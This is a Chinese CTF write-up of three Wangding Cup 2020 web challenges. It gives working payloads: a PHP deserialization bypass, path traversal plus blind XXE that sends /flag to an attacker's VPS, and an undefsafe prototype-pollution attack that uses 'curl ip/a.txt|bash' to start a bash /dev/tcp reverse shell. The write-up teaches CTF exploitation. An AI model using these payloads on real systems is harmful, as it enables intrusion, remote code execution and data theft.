網鼎杯2020青龍組writeup-web


本文首發於Leon的Blog,如需轉載請注明原創地址並聯系作者

AreUSerialz

開題即送源碼:

 1 <?php
 2 
 3 include("flag.php");
 4 
 5 highlight_file(__FILE__);
 6 
 7 class FileHandler {
 8 
 9     protected $op;
10     protected $filename;
11     protected $content;
12 
13     function __construct() {
14         $op = "1";
15         $filename = "/tmp/tmpfile";
16         $content = "Hello World!";
17         $this->process();   
18     }
19 
20     public function process() {
21         if($this->op == "1") {
22             $this->write();       
23         } else if($this->op == "2") {
24             $res = $this->read();
25             $this->output($res);
26         } else {
27             $this->output("Bad Hacker!");
28         }
29     }
30 
31     private function write() {
32         if(isset($this->filename) && isset($this->content)) {
33             if(strlen((string)$this->content) > 100) {
34                 $this->output("Too long!");
35                 die();
36             }
37             $res = file_put_contents($this->filename, $this->content);
38             if($res) $this->output("Successful!");
39             else $this->output("Failed!");
40         } else {
41             $this->output("Failed!");
42         }
43     }
44 
45     private function read() {
46         $res = "";
47         if(isset($this->filename)) {
48             $res = file_get_contents($this->filename);
49         }
50         return $res;
51     }
52 
53     private function output($s) {
54         echo "[Result]: <br>";
55         echo $s;
56     }
57 
58     function __destruct() {
59         if($this->op === "2")
60             $this->op = "1";
61         $this->content = "";
62         $this->process();
63     }
64 
65 }
66 
67 function is_valid($s) {
68     for($i = 0; $i < strlen($s); $i++)
69         if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
70             return false;
71     return true;
72 }
73 
74 if(isset($_GET{'str'})) {
75 
76     $str = (string)$_GET['str'];
77     if(is_valid($str)) {
78         $obj = unserialize($str);
79     }
80 
81 }

審計代碼:

GET方式傳參給str,然后調用is_valid()函數判斷傳入的參數是否在ASCII碼32到125之間,也就是數字、大小寫字符以及常規符號,然后進行反序列化

但是這里會ban掉不可見字符\00,這個在序列化protected屬性的對象時會出現,我們需要繞過它,php7.1+版本對屬性類型不敏感,所以本地序列化就直接用public就可以繞過了

然后代碼很簡單,我們可以序列化構造$op=2和$filename=flag.php,調用read()函數讀取flag.php,但是在進行read()之前就會調用__destruct()魔術方法,如果$this->op === “2”就會設置$this->op為”1″,而”1″在process()函數中會調用write()函數,不能讀取文件。

審計代碼發現:process()函數中使用了不嚴格相等if($this->op == “2”)

所以基於PHP的特性我們可以構造$op=”2e0”進行繞過

然后就是讀取文件了,但是直接相對路徑讀flag.php沒用,不知道為什么

用絕對路徑/var/www/html讀也沒用

我發現404頁面有開發文檔:https://hub.docker.com/r/nimmis/alpine-apache/

 

 

 

然后發現了web路徑:

所以猜測flag.php路徑是:/web/html/flag.php

直接讀取不行,用偽協議讀可以

payload:

 1 <?php
 2 class FileHandler {
 3 
 4     public $op = "2e0";
 5     public $filename = "php://filter/read=convert.base64-encode/resource=/web/html/flag.php";
 6 }
 7 
 8 $a = new FileHandler();
 9 echo urlencode(serialize($a));
10 
11 O%3A11%3A%22FileHandler%22%3A2%3A%7Bs%3A2%3A%22op%22%3Bs%3A3%3A%222e0%22%3Bs%3A8%3A%22filename%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fweb%2Fhtml%2Fflag.php%22%3B%7D

返回:

Jmx0Oz9waHANCg0KJGZsYWcgPSAiZmxhZ3s4NmFkMmU5My0yNTk2LTRkNDItODcyYS1hMjJlNWViNTI5Zjh9IjsNCg==

Base64解碼得到flag:flag{86ad2e93-2596-4d42-872a-a22e5eb529f8}


 

filejava

打開是一個文件上傳頁面,看了下頁面是java寫的,題目名稱也說了

上傳個文件,然后可以下載,復制下載鏈接一看:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=46ecab01-0932-480e-9509-9e93672e94c8_a.php

可能存在任意文件下載,嘗試:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../etc/passwd

發現可以下載到/etc/passwd

又根據報錯知道是Tomcat於是讀取web.xml:

http://e4d82ea6f1f8426f99d557844d204d6a81fd39d4ca25413c.cloudgame2.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

得到:

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
 3   <display-name>file_in_java</display-name>
 4   <welcome-file-list>
 5     <welcome-file>upload.jsp</welcome-file>
 6   </welcome-file-list>
 7   <servlet>
 8     <description></description>
 9     <display-name>UploadServlet</display-name>
10     <servlet-name>UploadServlet</servlet-name>
11     <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
12   </servlet>
13   <servlet-mapping>
14     <servlet-name>UploadServlet</servlet-name>
15     <url-pattern>/UploadServlet</url-pattern>
16   </servlet-mapping>
17   <servlet>
18     <description></description>
19     <display-name>ListFileServlet</display-name>
20     <servlet-name>ListFileServlet</servlet-name>
21     <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
22   </servlet>
23   <servlet-mapping>
24     <servlet-name>ListFileServlet</servlet-name>
25     <url-pattern>/ListFileServlet</url-pattern>
26   </servlet-mapping>
27   <servlet>
28     <description></description>
29     <display-name>DownloadServlet</display-name>
30     <servlet-name>DownloadServlet</servlet-name>
31     <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
32   </servlet>
33   <servlet-mapping>
34     <servlet-name>DownloadServlet</servlet-name>
35     <url-pattern>/DownloadServlet</url-pattern>
36   </servlet-mapping>
37 </web-app>

之后根據xml中的<servlet-class>把對應class都下載下來,然后反編譯

java web目錄參考:https://www.cnblogs.com/jpfss/p/9584075.html

1 /DownloadServlet
2 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
3 ?filename=../../../classes/cn/abc/servlet/ListFileServlet.class
4 ?filename=../../../classes/cn/abc/servlet/UploadServlet.class
5 ?filename=../../../../META-INF/MANIFEST.MF

主要利用點是在UploadServlet.java中有如下代碼:

 1 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
 2   
 3   try {
 4     Workbook wb1 = WorkbookFactory.create(in);
 5     Sheet sheet = wb1.getSheetAt(0);
 6     System.out.println(sheet.getFirstRowNum());
 7   } catch (InvalidFormatException e) {
 8     System.err.println("poi-ooxml-3.10 has something wrong");
 9     e.printStackTrace();
10   } 
11 }

這里考到了CVE-2014-3529類似的漏洞

這部分代碼邏輯表示,如果我們的文件名是excel-開始加上.xlsx結尾,就會用poi解析xlsx。

因為提示flag在根目錄,正好可以用這個xxe打。不過沒回顯,所以要引用外部xml盲打xxe。

首先是本地新建一個excel-1.xlsx文件,然后改后綴為zip,然后把[Content_Types].xml文件解壓出來

修改[Content_Types].xml的內容為:

1 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2 <!DOCTYPE try[
3 <!ENTITY % int SYSTEM "http://***.***.***.***/a.xml">
4 %int;
5 %all;
6 %send;
7 ]>
8 <root>&send;</root>
9 <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

 

然后把這個文件再壓縮回去,替換掉原來那個,然后把后綴zip改為xlsx

在自己的vps上新建a.xml文件,內容為:

1 <!ENTITY % payl SYSTEM "file:///flag">
2 <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://59.***.***.***:8500/?%payl;'>">

然后監聽8500端口,上傳excel-1.xlsx即可收到flag

 

 


notes

考點:CVE-2019-10795 undefsafe原型鏈污染

參考:https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940

app.js源碼:

  1 var express = require('express');
  2 var path = require('path');
  3 const undefsafe = require('undefsafe');
  4 const { exec } = require('child_process');
  5 
  6 
  7 var app = express();
  8 class Notes {
  9     constructor() {
 10         this.owner = "whoknows";
 11         this.num = 0;
 12         this.note_list = {};
 13     }
 14 
 15     write_note(author, raw_note) {
 16         this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
 17     }
 18 
 19     get_note(id) {
 20         var r = {}
 21         undefsafe(r, id, undefsafe(this.note_list, id));
 22         return r;
 23     }
 24 
 25     edit_note(id, author, raw) {
 26         undefsafe(this.note_list, id + '.author', author);
 27         undefsafe(this.note_list, id + '.raw_note', raw);
 28     }
 29 
 30     get_all_notes() {
 31         return this.note_list;
 32     }
 33 
 34     remove_note(id) {
 35         delete this.note_list[id];
 36     }
 37 }
 38 
 39 var notes = new Notes();
 40 notes.write_note("nobody", "this is nobody's first note");
 41 
 42 
 43 app.set('views', path.join(__dirname, 'views'));
 44 app.set('view engine', 'pug');
 45 
 46 app.use(express.json());
 47 app.use(express.urlencoded({ extended: false }));
 48 app.use(express.static(path.join(__dirname, 'public')));
 49 
 50 
 51 app.get('/', function(req, res, next) {
 52   res.render('index', { title: 'Notebook' });
 53 });
 54 
 55 app.route('/add_note')
 56     .get(function(req, res) {
 57         res.render('mess', {message: 'please use POST to add a note'});
 58     })
 59     .post(function(req, res) {
 60         let author = req.body.author;
 61         let raw = req.body.raw;
 62         if (author && raw) {
 63             notes.write_note(author, raw);
 64             res.render('mess', {message: "add note sucess"});
 65         } else {
 66             res.render('mess', {message: "did not add note"});
 67         }
 68     })
 69 
 70 app.route('/edit_note')
 71     .get(function(req, res) {
 72         res.render('mess', {message: "please use POST to edit a note"});
 73     })
 74     .post(function(req, res) {
 75         let id = req.body.id;
 76         let author = req.body.author;
 77         let enote = req.body.raw;
 78         if (id && author && enote) {
 79             notes.edit_note(id, author, enote);
 80             res.render('mess', {message: "edit note sucess"});
 81         } else {
 82             res.render('mess', {message: "edit note failed"});
 83         }
 84     })
 85 
 86 app.route('/delete_note')
 87     .get(function(req, res) {
 88         res.render('mess', {message: "please use POST to delete a note"});
 89     })
 90     .post(function(req, res) {
 91         let id = req.body.id;
 92         if (id) {
 93             notes.remove_note(id);
 94             res.render('mess', {message: "delete done"});
 95         } else {
 96             res.render('mess', {message: "delete failed"});
 97         }
 98     })
 99 
100 app.route('/notes')
101     .get(function(req, res) {
102         let q = req.query.q;
103         let a_note;
104         if (typeof(q) === "undefined") {
105             a_note = notes.get_all_notes();
106         } else {
107             a_note = notes.get_note(q);
108         }
109         res.render('note', {list: a_note});
110     })
111 
112 app.route('/status')
113     .get(function(req, res) {
114         let commands = {
115             "script-1": "uptime",
116             "script-2": "free -m"
117         };
118         for (let index in commands) {
119             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
120                 if (err) {
121                     return;
122                 }
123                 console.log(`stdout: ${stdout}`);
124             });
125         }
126         res.send('OK');
127         res.end();
128     })
129 
130 
131 app.use(function(req, res, next) {
132   res.status(404).send('Sorry cant find that!');
133 });
134 
135 
136 app.use(function(err, req, res, next) {
137   console.error(err.stack);
138   res.status(500).send('Something broke!');
139 });
140 
141 
142 const port = 8080;
143 app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

通過上面參考鏈接可知undefsafe包,版本<2.0.3有原型鏈污染漏洞

谷歌一下undefsafe,它的基本功能是取出字典中的對象或者更新字典中的對象:

 1 var object = {
 2   a: {
 3     b: [1,2,3]
 4   }
 5 };
 6 
 7 // modified object
 8 var res = undefsafe(object, 'a.b.0', 10);
 9 
10 console.log(object); // { a: { b: [10, 2, 3] } }
11 //這里可以看見1被替換成了10

參考:https://github.com/remy/undefsafe

審計代碼發現由於/status路由下有命令執行:

 1 app.route('/status')
 2     .get(function(req, res) {
 3         let commands = {
 4             "script-1": "uptime",
 5             "script-2": "free -m"
 6         };
 7         for (let index in commands) {
 8             exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
 9                 if (err) {
10                     return;
11                 }
12                 console.log(`stdout: ${stdout}`);
13             });
14         }
15         res.send('OK');
16         res.end();
17     })

所以可以通過污染commands這個字典,例如令commads.a=whoami,然后訪問/status它會遍歷執行commands字典中的命令

/edit_note下可以傳三個參數,調用edit_note(id, author, raw) 函數,然后使用了undefsafe進行字典的修改

因為undefsafe操作的對象可控,所以我們可以進行原型鏈污染

payload:

1 id=__proto__&author=curl ip/a.txt|bash&raw=123
2 //a.txt內容為:
3 bash -i >& /dev/tcp/ip/port 0>&1

反彈shell,flag在根目錄下


 

trace

這個是insert注入,好像復現不了了orz

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM